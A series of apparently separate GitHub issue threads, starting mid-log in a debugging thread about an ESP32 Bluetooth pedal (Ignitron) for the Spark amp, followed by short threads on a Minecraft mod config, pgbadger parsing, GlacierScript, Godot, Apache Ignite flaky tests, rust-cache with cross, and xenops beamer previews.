01FE000041FF6A0000000000000000004C413241436F6C6D70421300114AF7F00108320301000F0519000000004601114A3F366C742602114A3F390C7E612446757A7A4312F7F001082F0301300F061900114A3F301E560401114A3F08286C222A4F7261006E67654144
Sending data:
01FE000041FF6A0000000000000000003330F7F001083D0301580F071943150011594A3F19191A0111414A3F3333330211414A3F08240B0311F7F001083A0301080F08194A3F6E5C0D1204114A3F414102202C43686F72750073416E616C6F67F7F00108430301580F09
Sending data:
01FE000041FF6A0000000000000000001943140011594A3E2D2B1F0111594A3E4C4C4D0211414A3F3333330311F7F001084A0301480F0A194A3F4C4C034D2944656C6179304D6F6E6F4215000B114A3E437B4A01F7F001084A0301580F0B19114A3E4B1B6D7A02114A3F
Sending data:
01FE000041FF6A0000000000000000003C187E2803114A3F191B191A04114A0000F7F00108020301200F0C1900002B62006961732E72657658657262431700115D4A3E2B605F0111F7F00108500301480F0D194A3F24500C1402114A3F05532C2603114A3E10062D0E04
Sending data:
01FE000041FF33000000000000000000114A3E7062F7F00108610301600F0E104E05114A623E69374C06114A1C3F19191A2AF7
0xffc1: onWrite()
Received data:
01FE000053FE3C000000000000000000F0010902020100000200000000000000000000000000000000000000000000000000000000000000000000F7
Reading request from Amp
Found request for current preset
Sending data:
01FE000041FF6A000000000000000000F00109630301200F001901005924004139364538444400322D344337412D00344243382D3831F7F00109780301000F011939352D3100464545434134441033344536284865406E647269782023F7F00109000301400F0219302E
Sending data:
01FE000041FF6A000000000000000000372B00507572706C65201048617A65286963406F6E2E706E674AF7F00109350301100F03194270000003172E626961732E006E6F69736567616C7465431200114AF7F00109770301600F04193F513D251601114A3F0000000128
Sending data:
01FE000041FF6A0000000000000000004C413241436F6C6D70421300114AF7F00109320301000F0519000000004601114A3F366C742602114A3F390C7E612446757A7A4312F7F001092F0301300F061900114A3F301E560401114A3F08286C222A4F7261006E67654144
Sending data:
01FE000041FF6A0000000000000000003330F7F001093D0301580F071943150011594A3F19191A0111414A3F3333330211414A3F08240B0311F7F001093A0301080F08194A3F6E5C0D1204114A3F414102202C43686F72750073416E616C6F67F7F00109430301580F09
Sending data:
01FE000041FF6A0000000000000000001943140011594A3E2D2B1F0111594A3E4C4C4D0211414A3F3333330311F7F001094A0301480F0A194A3F4C4C034D2944656C6179304D6F6E6F4215000B114A3E437B4A01F7F001094A0301580F0B19114A3E4B1B6D7A02114A3F
Sending data:
01FE000041FF6A0000000000000000003C187E2803114A3F191B191A04114A0000F7F00109020301200F0C1900002B62006961732E72657658657262431700115D4A3E2B605F0111F7F00109500301480F0D194A3F24500C1402114A3F05532C2603114A3E10062D0E04
Sending data:
01FE000041FF33000000000000000000114A3E7062F7F00109610301600F0E104E05114A623E69374C06114A1C3F19191A2AF7
0xffc1: onWrite()
Received data:
01FE000053FE3C000000000000000000F0010A02020100000200000000000000000000000000000000000000000000000000000000000000000000F7
Reading request from Amp
Found request for current preset
Sending data:
01FE000041FF6A000000000000000000F0010A630301200F001901005924004139364538444400322D344337412D00344243382D3831F7F0010A780301000F011939352D3100464545434134441033344536284865406E647269782023F7F0010A000301400F0219302E
Sending data:
01FE000041FF6A000000000000000000372B00507572706C65201048617A65286963406F6E2E706E674AF7F0010A350301100F03194270000003172E626961732E006E6F69736567616C7465431200114AF7F0010A770301600F04193F513D251601114A3F0000000128
Sending data:
01FE000041FF6A0000000000000000004C413241436F6C6D70421300114AF7F0010A320301000F0519000000004601114A3F366C742602114A3F390C7E612446757A7A4312F7F0010A2F0301300F061900114A3F301E560401114A3F08286C222A4F7261006E67654144
Sending data:
01FE000041FF6A0000000000000000003330F7F0010A3D0301580F071943150011594A3F19191A0111414A3F3333330211414A3F08240B0311F7F0010A3A0301080F08194A3F6E5C0D1204114A3F414102202C43686F72750073416E616C6F67F7F0010A430301580F09
Sending data:
01FE000041FF6A0000000000000000001943140011594A3E2D2B1F0111594A3E4C4C4D0211414A3F3333330311F7F0010A4A0301480F0A194A3F4C4C034D2944656C6179304D6F6E6F4215000B114A3E437B4A01F7F0010A4A0301580F0B19114A3E4B1B6D7A02114A3F
Sending data:
01FE000041FF6A0000000000000000003C187E2803114A3F191B191A04114A0000F7F0010A020301200F0C1900002B62006961732E72657658657262431700115D4A3E2B605F0111F7F0010A500301480F0D194A3F24500C1402114A3F05532C2603114A3E10062D0E04
Sending data:
01FE000041FF33000000000000000000114A3E7062F7F0010A610301600F0E104E05114A623E69374C06114A1C3F19191A2AF7
0xffc1: onWrite()
Received data:
01FE000053FE3C000000000000000000F0010B02020100000200000000000000000000000000000000000000000000000000000000000000000000F7
Reading request from Amp
Found request for current preset
Sending data:
01FE000041FF6A000000000000000000F0010B630301200F001901005924004139364538444400322D344337412D00344243382D3831F7F0010B780301000F011939352D3100464545434134441033344536284865406E647269782023F7F0010B000301400F0219302E
Sending data:
01FE000041FF6A000000000000000000372B00507572706C65201048617A65286963406F6E2E706E674AF7F0010B350301100F03194270000003172E626961732E006E6F69736567616C7465431200114AF7F0010B770301600F04193F513D251601114A3F0000000128
Sending data:
01FE000041FF6A0000000000000000004C413241436F6C6D70421300114AF7F0010B320301000F0519000000004601114A3F366C742602114A3F390C7E612446757A7A4312F7F0010B2F0301300F061900114A3F301E560401114A3F08286C222A4F7261006E67654144
Sending data:
01FE000041FF6A0000000000000000003330F7F0010B3D0301580F071943150011594A3F19191A0111414A3F3333330211414A3F08240B0311F7F0010B3A0301080F08194A3F6E5C0D1204114A3F414102202C43686F72750073416E616C6F67F7F0010B430301580F09
Sending data:
01FE000041FF6A0000000000000000001943140011594A3E2D2B1F0111594A3E4C4C4D0211414A3F3333330311F7F0010B4A0301480F0A194A3F4C4C034D2944656C6179304D6F6E6F4215000B114A3E437B4A01F7F0010B4A0301580F0B19114A3E4B1B6D7A02114A3F
Sending data:
01FE000041FF6A0000000000000000003C187E2803114A3F191B191A04114A0000F7F0010B020301200F0C1900002B62006961732E72657658657262431700115D4A3E2B605F0111F7F0010B500301480F0D194A3F24500C1402114A3F05532C2603114A3E10062D0E04
Sending data:
01FE000041FF33000000000000000000114A3E7062F7F0010B610301600F0E104E05114A623E69374C06114A1C3F19191A2AF7
0xffc1: onWrite()
Received data:
01FE000053FE3C000000000000000000F0010C03020100000300000000000000000000000000000000000000000000000000000000000000000000F7
Reading request from Amp
Found request for current preset
Sending data:
01FE000041FF6A000000000000000000F0010C630301200F001901005924004139364538444400322D344337412D00344243382D3831F7F0010C780301000F011939352D3100464545434134441033344536284865406E647269782023F7F0010C000301400F0219302E
Sending data:
01FE000041FF6A000000000000000000372B00507572706C65201048617A65286963406F6E2E706E674AF7F0010C350301100F03194270000003172E626961732E006E6F69736567616C7465431200114AF7F0010C770301600F04193F513D251601114A3F0000000128
Sending data:
01FE000041FF6A0000000000000000004C413241436F6C6D70421300114AF7F0010C320301000F0519000000004601114A3F366C742602114A3F390C7E612446757A7A4312F7F0010C2F0301300F061900114A3F301E560401114A3F08286C222A4F7261006E67654144
Sending data:
01FE000041FF6A0000000000000000003330F7F0010C3D0301580F071943150011594A3F19191A0111414A3F3333330211414A3F08240B0311F7F0010C3A0301080F08194A3F6E5C0D1204114A3F414102202C43686F72750073416E616C6F67F7F0010C430301580F09
Sending data:
01FE000041FF6A0000000000000000001943140011594A3E2D2B1F0111594A3E4C4C4D0211414A3F3333330311F7F0010C4A0301480F0A194A3F4C4C034D2944656C6179304D6F6E6F4215000B114A3E437B4A01F7F0010C4A0301580F0B19114A3E4B1B6D7A02114A3F
Sending data:
01FE000041FF6A0000000000000000003C187E2803114A3F191B191A04114A0000F7F0010C020301200F0C1900002B62006961732E72657658657262431700115D4A3E2B605F0111F7F0010C500301480F0D194A3F24500C1402114A3F05532C2603114A3E10062D0E04
Sending data:
01FE000041FF33000000000000000000114A3E7062F7F0010C610301600F0E104E05114A623E69374C06114A1C3F19191A2AF7
0xffc1: onWrite()
Received data:
01FE000053FE3C000000000000000000F0010D03020100000300000000000000000000000000000000000000000000000000000000000000000000F7
Reading request from Amp
Found request for current preset
Sending data:
01FE000041FF6A000000000000000000F0010D630301200F001901005924004139364538444400322D344337412D00344243382D3831F7F0010D780301000F011939352D3100464545434134441033344536284865406E647269782023F7F0010D000301400F0219302E
Sending data:
01FE000041FF6A000000000000000000372B00507572706C65201048617A65286963406F6E2E706E674AF7F0010D350301100F03194270000003172E626961732E006E6F69736567616C7465431200114AF7F0010D770301600F04193F513D251601114A3F0000000128
Sending data:
01FE000041FF6A0000000000000000004C413241436F6C6D70421300114AF7F0010D320301000F0519000000004601114A3F366C742602114A3F390C7E612446757A7A4312F7F0010D2F0301300F061900114A3F301E560401114A3F08286C222A4F7261006E67654144
Sending data:
01FE000041FF6A0000000000000000003330F7F0010D3D0301580F071943150011594A3F19191A0111414A3F3333330211414A3F08240B0311F7F0010D3A0301080F08194A3F6E5C0D1204114A3F414102202C43686F72750073416E616C6F67F7F0010D430301580F09
Sending data:
01FE000041FF6A0000000000000000001943140011594A3E2D2B1F0111594A3E4C4C4D0211414A3F3333330311F7F0010D4A0301480F0A194A3F4C4C034D2944656C6179304D6F6E6F4215000B114A3E437B4A01F7F0010D4A0301580F0B19114A3E4B1B6D7A02114A3F
Sending data:
01FE000041FF6A0000000000000000003C187E2803114A3F191B191A04114A0000F7F0010D020301200F0C1900002B62006961732E72657658657262431700115D4A3E2B605F0111F7F0010D500301480F0D194A3F24500C1402114A3F05532C2603114A3E10062D0E04
Sending data:
01FE000041FF33000000000000000000114A3E7062F7F0010D610301600F0E104E05114A623E69374C06114A1C3F19191A2AF7
0xffc1: onWrite()
Received data:
01FE000053FE3C000000000000000000F0010E03020100000300000000000000000000000000000000000000000000000000000000000000000000F7
Reading request from Amp
Found request for current preset
Sending data:
01FE000041FF6A000000000000000000F0010E630301200F001901005924004139364538444400322D344337412D00344243382D3831F7F0010E780301000F011939352D3100464545434134441033344536284865406E647269782023F7F0010E000301400F0219302E
Sending data:
01FE000041FF6A000000000000000000372B00507572706C65201048617A65286963406F6E2E706E674AF7F0010E350301100F03194270000003172E626961732E006E6F69736567616C7465431200114AF7F0010E770301600F04193F513D251601114A3F0000000128
Sending data:
01FE000041FF6A0000000000000000004C413241436F6C6D70421300114AF7F0010E320301000F0519000000004601114A3F366C742602114A3F390C7E612446757A7A4312F7F0010E2F0301300F061900114A3F301E560401114A3F08286C222A4F7261006E67654144
Sending data:
01FE000041FF6A0000000000000000003330F7F0010E3D0301580F071943150011594A3F19191A0111414A3F3333330211414A3F08240B0311F7F0010E3A0301080F08194A3F6E5C0D1204114A3F414102202C43686F72750073416E616C6F67F7F0010E430301580F09
Sending data:
01FE000041FF6A0000000000000000001943140011594A3E2D2B1F0111594A3E4C4C4D0211414A3F3333330311F7F0010E4A0301480F0A194A3F4C4C034D2944656C6179304D6F6E6F4215000B114A3E437B4A01F7F0010E4A0301580F0B19114A3E4B1B6D7A02114A3F
Sending data:
01FE000041FF6A0000000000000000003C187E2803114A3F191B191A04114A0000F7F0010E020301200F0C1900002B62006961732E72657658657262431700115D4A3E2B605F0111F7F0010E500301480F0D194A3F24500C1402114A3F05532C2603114A3E10062D0E04
Sending data:
01FE000041FF33000000000000000000114A3E7062F7F0010E610301600F0E104E05114A623E69374C06114A1C3F19191A2AF7
0xffc1: onWrite()
Received data:
01FE000053FE3C000000000000000000F0010F03020100000300000000000000000000000000000000000000000000000000000000000000000000F7
Reading request from Amp
Found request for current preset
Sending data:
01FE000041FF6A000000000000000000F0010F630301200F001901005924004139364538444400322D344337412D00344243382D3831F7F0010F780301000F011939352D3100464545434134441033344536284865406E647269782023F7F0010F000301400F0219302E
Sending data:
01FE000041FF6A000000000000000000372B00507572706C65201048617A65286963406F6E2E706E674AF7F0010F350301100F03194270000003172E626961732E006E6F69736567616C7465431200114AF7F0010F770301600F04193F513D251601114A3F0000000128
Sending data:
01FE000041FF6A0000000000000000004C413241436F6C6D70421300114AF7F0010F320301000F0519000000004601114A3F366C742602114A3F390C7E612446757A7A4312F7F0010F2F0301300F061900114A3F301E560401114A3F08286C222A4F7261006E67654144
Sending data:
01FE000041FF6A0000000000000000003330F7F0010F3D0301580F071943150011594A3F19191A0111414A3F3333330211414A3F08240B0311F7F0010F3A0301080F08194A3F6E5C0D1204114A3F414102202C43686F72750073416E616C6F67F7F0010F430301580F09
Sending data:
01FE000041FF6A0000000000000000001943140011594A3E2D2B1F0111594A3E4C4C4D0211414A3F3333330311F7F0010F4A0301480F0A194A3F4C4C034D2944656C6179304D6F6E6F4215000B114A3E437B4A01F7F0010F4A0301580F0B19114A3E4B1B6D7A02114A3F
Sending data:
01FE000041FF6A0000000000000000003C187E2803114A3F191B191A04114A0000F7F0010F020301200F0C1900002B62006961732E72657658657262431700115D4A3E2B605F0111F7F0010F500301480F0D194A3F24500C1402114A3F05532C2603114A3E10062D0E04
Sending data:
01FE000041FF33000000000000000000114A3E7062F7F0010F610301600F0E104E05114A623E69374C06114A1C3F19191A2AF7
0xffc1: onWrite()
Received data:
01FE000053FE3C000000000000000000F0011003020100000300000000000000000000000000000000000000000000000000000000000000000000F7
Reading request from Amp
Found request for current preset
Sending data:
01FE000041FF6A000000000000000000F00110630301200F001901005924004139364538444400322D344337412D00344243382D3831F7F00110780301000F011939352D3100464545434134441033344536284865406E647269782023F7F00110000301400F0219302E
Sending data:
01FE000041FF6A000000000000000000372B00507572706C65201048617A65286963406F6E2E706E674AF7F00110350301100F03194270000003172E626961732E006E6F69736567616C7465431200114AF7F00110770301600F04193F513D251601114A3F0000000128
Sending data:
01FE000041FF6A0000000000000000004C413241436F6C6D70421300114AF7F00110320301000F0519000000004601114A3F366C742602114A3F390C7E612446757A7A4312F7F001102F0301300F061900114A3F301E560401114A3F08286C222A4F7261006E67654144
Sending data:
01FE000041FF6A0000000000000000003330F7F001103D0301580F071943150011594A3F19191A0111414A3F3333330211414A3F08240B0311F7F001103A0301080F08194A3F6E5C0D1204114A3F414102202C43686F72750073416E616C6F67F7F00110430301580F09
Sending data:
01FE000041FF6A0000000000000000001943140011594A3E2D2B1F0111594A3E4C4C4D0211414A3F3333330311F7F001104A0301480F0A194A3F4C4C034D2944656C6179304D6F6E6F4215000B114A3E437B4A01F7F001104A0301580F0B19114A3E4B1B6D7A02114A3F
Sending data:
01FE000041FF6A0000000000000000003C187E2803114A3F191B191A04114A0000F7F00110020301200F0C1900002B62006961732E72657658657262431700115D4A3E2B605F0111F7F00110500301480F0D194A3F24500C1402114A3F05532C2603114A3E10062D0E04
Sending data:
01FE000041FF33000000000000000000114A3E7062F7F00110610301600F0E104E05114A623E69374C06114A1C3F19191A2AF7
Address: 6f:21:50:27:fb:4f Unsubscribed to 0xffc2
Client disconnected
Start advertising

That is really strange. It processes all initialization steps correctly, only in the last step the app keeps asking for the current preset and does not seem to accept the response from Ignitron.
I assume you have built from the main branch, correct?
I might find some time over the weekend to look into the code, currently I have no idea why it does not work.
Are you running the latest version of the app on your iPhone?
Also, to reproduce can you please send me the exact steps what buttons you press in the app from start to end and also what exactly is shown in the display?

What does it mean "built from the main branch"?
I built everything just following your tutorial..
I'm running last version on my iphone
I click the burger menu, add amp, add Spark 40, connect.
Then the app says "connecting" till it says "disconnected"
The bluetooth icon on ignitron turns on and turns off as soon as I got the "disconnected" message on mobile app.
Should I try to mod the preset list and delete everything?
Thanks again for you help and your work

Without having checked the code, you could try to exchange the first preset entry in PresetList.txt with another name and re-upload the data.

I will, thanks

I tried and I delete all the preset, I uploaded a new Preset.txt and only one preset but nothing really changed.
Once I managed to connect and upload a preset but them the app disconnected and I wasn't anymore able to upload.
It remains connected few moments while is generating this error:
Found request for current preset
Sending data:
01FE000041FF6A000000000000000000F0011B6B0301200F001901005924004542364535314600342D443630462D00343945382D3943F7F0011B250301000F011944312D34003043323936324110384233382541630820446323302E37F7F0011B0E0301080F02193441
Sending data:
01FE000041FF6A00000000000000000043440063202D20426163006B20696E20426C0861636B2869636FF7F0011B1D0301000F03196E2E706E4A674A4270000017012E626961732E6E006F697365676174F7F0011B410301300F0419654312000B114A3E0A0903014B11
Sending data:
01FE000041FF6A0000000000000000004A3F00000028004C413241436F6DF7F0011B6B0301300F05197042130003114A000000000123114A3F366C740253114A3F390C7E27F7F0011B040301000F0619426F6F735874657242110011214A3F445A1D2550306C65786943
Sending data:
01FE000041FF6A0000000000000000001500F7F0011B0C0301180F0719114A3F3518460B01114A3F5D1A424402114A3F6119165303114A3F19F7F0011B7D0301580F0819191A0411294A3F4C607627544072656D6F6C6F422D1300114A3E687FF7F0011B010301680F09
Sending data:
01FE000041FF6A000000000000000000194C01114A683F332C2502114A1C3F182010294465006C61794D6F6E6FF7F0011B7B0301580F0A1942150011454A3E437B4A01115D4A3E4B6D7A0211414A3F3C7E280311F7F0011B610301480F0B194A3F19190D1A04114A0000
Sending data:
01FE000041FF6A0000000000000000000002002B626961732E4072657665726243F7F0011B350301680F0C191700114A6E3E2B605F01114A643F24501402114A603F05532603114AF7F0011B3C0301500F0D193E10060E1604114A3E70624E1605114A3E69374C660611
Sending data:
01FE000041FF220000000000000000004A3F19191AF7F0011B5E0301080F0E0156F7
Address: 7f:38:44:e4:ca:c4 Unsubscribed to 0xffc2
Then it disconnects.
With Android it just works fine.
Thanks again for you help

I will try to replicate this at my end in the next days and will get back to you.
Good that it works with Android for you.

Ok, I fixed it.
I flashed again the board as a Esp32vrooom 4m with 2mb for app and 2mb for spiffs and now I can upload all your presets (before I had a available space error) and iOS connections works flawless.
I guess it was a partitioning error on my board that was causing some kind of read/write error.
The pedal is just fantastic, I will try to use it with Airstep just controlling looping funcion and it’s going to be just perfect.
thanks for your amazing job.

That's great to hear, I am glad thatcher works now!
Thank you for your kind words, I am actually quite proud of the project.
I myself use it on a nearly daily basis, but for me it feels great to hear that others also have fun with it!
I will close this issue now.

You have to be proud, this pedal is great and much better than any commercial one. I added battery support with a 18650.
It could be better with a longer box with all the switches on one line but… I love it anyway.
Once again: THANKS. 🙂

Looking at a previous comment, I had a look at the looper functionality of the AirStep.
When I find some time, I could implement similar behavior as I think it sounds pretty useful.

The Airstep is a good tool but as a looper it lacks of some features.
It would be great to add the chance to stop and play banks separately without any long pressure.
The best would be to have two separate pedals, one only for controlling the loop functions and the other just for sounds.
I’m using right now Ignitron and Airstep together  and I love the combo.
For looping I would love to have 6 buttons:
Rec/overdub, stop/play session, cancel current track, mute/unmute track, track up, track down.
what do you think?

@Storgio I have now updated the code to have a proper Looper functionality. In Looper mode (enter by long pressing Preset 4 button in APP mode), all 6 buttons can now be used for Looper functionality. I have tested it with Loopy HD and the proposed functions you mentioned above and it works perfectly.
You can also assign one of the buttons to the "tap tempo" function, I have also tested this.
You can still switch your presets while in Looper mode by long pressing 'Bank down' and 'Bank up' buttons. Presets will also be switched across banks. If you want to change presets more quickly, you can easily switch back to "normal" mode by long pressing 'Preset 4' button and switching to the desired preset and then go back to Looper mode.
If you want, try it out and let me know what you think!

Hi, that’s simply great!In my opinion the best thing would be to build another pedal just for looping, without any other functions: six buttons + six long pressing one, working as a Bluetooth keyboard.No led, all the buttons in a line, no display.I will try to design a pcb to install everything on board using cheap micro switch and actuators, I would run it by battery (I do the same for ignitron).Right now I’m using the Airstep as a looper foot switch connected to my mac m1 running loopy and audio out on monitors and I love it, having six buttons working would be just amazing! Undo function would be very useful too.I will test the new software later but I’m sure it’s already perfect!Inviato da iPhoneIl giorno 9 mar 2023, alle ore 00:29, stangreg @.***> ha scritto:
@Storgio I have now updated the code to have a proper Looper functionality. In Looper mode (enter by long pressing Preset 4 button in APP mode), all 6 buttons can now be used for Looper functionality. I have tested it with Loopy HD and the proposed functions you mentioned above and it works perfectly.
You can also assign one of the buttons to the "tap tempo" function, I have also tested this.
You can still switch your presets while in Looper mode by long pressing 'Bank down' and 'Bank up' buttons. Presets will also be switched across banks. If you want to change presets more quickly, you can easily switch back to "normal" mode by long pressing 'Preset 4' button and switching to the desired preset and then go back to Looper mode.
If you want, try it out and let me know what you think!
—Reply to this email directly, view it on GitHub, or unsubscribe.You are receiving this because you were mentioned.Message ID: @.***>

@Storgio As it was pretty straight forward to implement, I have now added a Keyboard only mode. You can enter it by holding Preset 3 during startup. This will turn the Ignitron into a BLE keyboard without any Spark controlling functionality. It will send characters "A" - "F" with a short press, and "1" - "6" with a long press. You can configure these buttons to any configuration you like in the looper app.
Hope you have fun with this, I think for now I am done with this. If there is anything else, please open a new issue.

That's just awesome, many thanks!
I'm developing a 3d printable enclosure inspired to Airstep with optional display support and six buttons and a new pcb to reduce off board wiring.
If you are interested as soon as I'm done i will send it to you.
Thanks again for the amazing job.


Disable/Enable certain items (Config)

Would be nice, if we could turn off every new item like:
Enderite Crossbow
Endeire Bow
Enderite Shield
Enderite Shears
Enderite Shulkerbox
Enderite Elytra
Enderite Elytra Chestplate
The reason why I'm asking for this is to make this mod feel even more vanilla friendly. Some people might say ''If you don't like something, just don't craft it''
Another reason is to make these items also unavailable at Roughly Enough Items mod and creative inventory, if we turned them off at Enderite mod config, so we won't see these on the list. Netherite Plus mod already has such option. The point is simply not to litter the list with items that are not needed for some players.

Hi, I recommend you use CraftTweaker, JEI, and JEITweaker in the meantime. It's easy to disable recipes and disable viewing them in JEI.

Also you could use Fabrication's yeet recipes feature if you want to disable the crafting recipe. Not sure if you can hide items in REI, though

I requested a feature to hide recipes/items in REI and I was told that same could be achieved with KubeJS
https://github.com/shedaniel/RoughlyEnoughItems/issues/624

Closing this as you guys seem to have figured out a workaround. If you are not happy with the solution feel free to reopen this issue.


Namespacing config

Issue #8
Changed LoadedConfig to AppCommonRuby::Config.load

@hsong-rh please review.
This change will need deployment to rubygems as apps pointing to master will be broken

@mkanoor please review


Wrong parsing of numbers values inside bind queries

Hi
We moved from PG 8.4 to PG 11.13 and from pgbadger 11.4 to 11.5.
I am not sure when this problem arose.
Under QUERIES --> Slowest individual queries
the listed values are all wrong.
Plase see the attached files.
This is the log configuration from postgresql.conf
The destination is the default stderr.
logging_collector = on
log_checkpoints = on
log_connections = on
log_disconnections = on
log_filename = 'postgresql.log'
log_truncate_on_rotation = off
# exclude the logging of DETAIL, HINT, QUERY, and CONTEXT information
log_error_verbosity = terse
log_line_prefix = '%t [%p]: user=%u,db=%d,app=%a,client=%h '
log_lock_waits = on
log_min_duration_statement = 1000
log_statement = 'ddl'
log_temp_files = 0

pgbadger options:
PGBADGER_OPTS="--jobs 2 --quiet --anonymize --nocomment --noreport --exclude-db postgres"
PGBADGER_OPTS="$PGBADGER_OPTS --dns-resolv --begin '$TODAY 07:00:00' --end '$TODAY 21:00:00'"
PGBADGER_OPTS="$PGBADGER_OPTS --prefix '%t [%p]: user=%u,db=%d,app=%a,client=%h '"

The cause is an incorrect configuration or a pgbadger bug?
Best regards, Sala
postgresql slowest queries.log

SOLVED
We used the option --anonymize


Use new Bitcoin Core v0.17 APIs

Now that Bitcoin Core v0.17.0 has been released on the Ubuntu PPA, we can update GlacierScript to use the new APIs available, instead of the deprecated ones that were necessary for compatibility with v0.16.
Also see #37

I've also tested this with v0.17.1rc1 with no issues. (Current Glacier also works fine with v0.17.1rc1.)

Two quick questions

Why isn't the label simply the key itself?

I am not convinced by the change on line 311 https://github.com/GlacierProtocol/GlacierProtocol/pull/50/commits/b3060349cd026b9fbc165202d92ee4865d0d907e why is the conversion to an iterator and call to next() required? Couldn't we keep it as it was before (i.e returning the first element of addresses_json)?

@diogomonica this needs a release ASAP! Or Bitcoin Core v0.18 will break Glacier.


Fix error in BaseMaterial3D when running doctool

Fixes #77339, but I have no idea if doing it like this is a good idea.
The idea is, avoid errors caused by deleting a non-empty SelfList, by just emptying the list first.
Setting shader_names is unrelated and just cleanup to make it follow the same pattern as dirty_materials

Let me suggest the following:

Add SelfList::List::clear() that the owner of the list can use in cases where it make sense. In this case, that would be called instead of your suggested flush_changes(). Rationale: flushing changes involves recreating and updating the shaders in the rendering driver, which may not even be available by that point and, in any case, it's pointless work by then.
Change SelfList::List~List() from ERR_FAIL_COND(_first != nullptr); to DEV_ASSERT(_first == nullptr);. Rationale: that check failing means something's broken and should be fixed. It provides no information to users, but by making debuggers break will call developers' attention.
Changing BaseMaterial3D::dirty_list into an actual object instead of a pointer. I don't see the point for the latter, especially after the changes suggested above. No more alloc/free needed for it.

Thanks!

I don't think this is relevant for 4.0, and the original report suggests as much. It's a pretty core change to only fix doctool's non-critical issue. So I'm removing the label.


IGNITE-17223 Fix indeterminate unit test results due to order dependencies

Description
In the module cli, a couple of tests, namely IgniteCliInterfaceTest$Cluster#initSuccess() and CliConfigSubCommandTest#noKey(), can fail nondeterministically when been run in different JVMs. The issue can be found by running command mvn edu.illinois:nondex-maven-plugin:1.1.2:nondex under modules/cli directory after installation.
Reason for Flakiness

CliConfigSubCommandTest#noKey():
In line 38 in the test function, execute() is called. In CliCommandTestBase.java, execute() links to picocli.CommandLine in line 53, which in turns calls the function run() in CliConfigSubCommand.java. The function run() then calls runPipeline() in CallExecutionPipeline.java, which then calls decorate() in ConfigDecorator.java. Finally, decorate() calls a HashMap iterator, which does not guarantee a deterministic order. As a result, line 43 in CliConfigSubCommandTest#noKey() can raise an assertion error due to permutation of the string-represented equations.
IgniteCliInterfaceTest$Cluster#initSuccess():
In line 497 in IgniteCliInterfaceTest.java, cmd.execute() is called. Subsequently, function executeUserObject() (line 1939) of picocli.CommandLine is executed, calling run() (line 84) of ClusterCommandSpec.java. This finally leads to calling init() (line 71) in ClusterApiClient.java. In the function init(), toJson() is called (line 84). However, by the Oracle official document, Json-likes are ordered by getDeclaredFields(), which does not guarantee any deterministic orders. Therefore, line 514 in IgniteCliInterfaceTest$Cluster#initSuccess() can raise an assertion error due to permutation of the byte representations in the strings being compared.

Sample Failure

CliConfigSubCommandTest#noKey():

[ERROR] Failures:
[ERROR]   CliConfigSubCommandTest.noKey:43
expected:
  "ignite.cluster-url=test_cluster_url
  ignite.jdbc-url=test_jdbc_url
  "
 but was:
  "ignite.jdbc-url=test_jdbc_url
  ignite.cluster-url=test_cluster_url
  "

IgniteCliInterfaceTest$Cluster#initSuccess():

[ERROR] Failures:
[ERROR]   IgniteCliInterfaceTest$Cluster.initSuccess:514
Expected: is "{\"metaStorageNodes\":[\"node1ConsistentId\",\"node2ConsistentId\"],\"cmgNodes\":[\"node2ConsistentId\",\"node3ConsistentId\"],\"clusterName\":\"cluster\"}"
     but: was "{\"metaStorageNodes\":[\"node1ConsistentId\",\"node2ConsistentId\"],\"clusterName\":\"cluster\",\"cmgNodes\":[\"node2ConsistentId\",\"node3ConsistentId\"]}"

Proposed Fixes

To deal with different possible iteration orders with respect to HashMap, test if the output contains both desired parts of the strings instead.
To deal with comparisons of JSON-formatted strings, use JsonParser() provided by the Google Gson library.

LGTM


rustup and interfaction with Swatinem/rust-cache

Hi, I am wondering how to use this properly with Swatinem/rust-cache. The README says
https://github.com/houseabsolute/actions-rust-cross/blob/ad283b2fc65ad1f3a04fb8bf8b2b829aad4a9318/README.md?plain=1#L89-L93
However, Swatinem/rust-cache README says

selecting a toolchain either by action or manual rustup calls should happen
before the plugin, as the cache uses the current rustc version as its cache key

https://github.com/Swatinem/rust-cache/blob/9bdad043e88c75890e36ad3bbc8d27f0090dd609/README.md?plain=1#L11-L12
I see that houseabsolute/actions-rust-cross calls dtolnay/rust-toolchain@master, which is a wrapper around rustup
https://github.com/houseabsolute/actions-rust-cross/blob/d788e00f158ff5102cc3d4707b24be96c264a5bc/action.yml#L43-L46
So if you have something like
- uses: Swatinem/rust-cache@v2
- uses: houseabsolute/actions-rust-cross@v0
  with:
    taget: x86_64-unknown-linux-musl

What ends up happening is rustup gets executed before Swatinem/rust-cache

Oh, that's a good question. I didn't actually notice this in the rust-cache docs! I've been using it the wrong way, I guess. See https://github.com/houseabsolute/ubi/blob/master/.github/workflows/ci.yml for an example.
It seems to be caching something. My guess is that it's using the rust version installed on the Actions image. I think the only way to fix this is to have actions-rust-cross integrate rust-cache. That's not very hard to do, so I'll look into that soon.

I think the only way to fix this is to have actions-rust-cross integrate rust-cache. That's not very hard to do, so I'll look into that soon.

That would be great! Supporting rust-cache would give houseabsolute/actions-rust-cross a feature over houseabsolute/actions-rust-cross

So I looked into this a little more. I think that Swatinem/rust-cache is just not compatible with cross. The rust-cache uses the output of rustc -vV as part of its cache key. But if the build is running via cross, then the output of rustc on the host isn't relevant to the compilation artifacts.
I'm not sure how to fix this. The "obvious" solution would be to tell rust-cache to run cross -vV instead. But that doesn't actually do anything useful, since it will just run cargo under the hood. What we really need is a way to ask cross to give us the same output for a given target, but cross only accepts a --target parameter when given a subcommand like build or test.
I tried capturing the output from the correct rustc with a simple crate using a build.rs script, but even then, it shows me info about an x86-64 host.
So I'm a bit stumped on this one. If there was a way to get the right rustc info from cross I think making a PR for rust-cache to use this info wouldn't be too hard. But I don't know how to get this info.

Ok, after thinking about this some more I realized that all I needed to do was include the target in the cache key. This seems to work well!
You can try this out by using the v1.0.0-beta1 release. Just change the @v0 to @v1 for this action.


How to configure xenops when writing beamer slides using org mode

I use org to write beamer slides. When there are no latex headers in the org file, xenops can preview formulas correctly. However, when there are beamer-related commands, e.g., #+LATEX_HEADER: \usetheme{metropolis},  errors occur because the latex document class is "article". If I change "article" to "beamer" in the variable org-format-latex-header, the   generated SVG images for the formulas are very large. How can I solve this issue?

Hi @fountainer, thanks for this. I haven't tried using xenops with beamer, and I can believe that there are some rough edges / hacks needed. Regarding image size, do the image-size changing mechanisms that xenops provides help? I.e. xenops-decrease-size and xenops-math-image-scale-factor?
In general, while xenops works reasonably well for the use that I personally put it to (writing LaTeX articles, not in org-mode), I will need some community help (contributed PRs) to extend it to robustly cover other people's workflows.

Hi,
just read this and I am not really a help here, but the same behavior of the large images occurs with preview-latex within beamer environment... just for information.
Fab

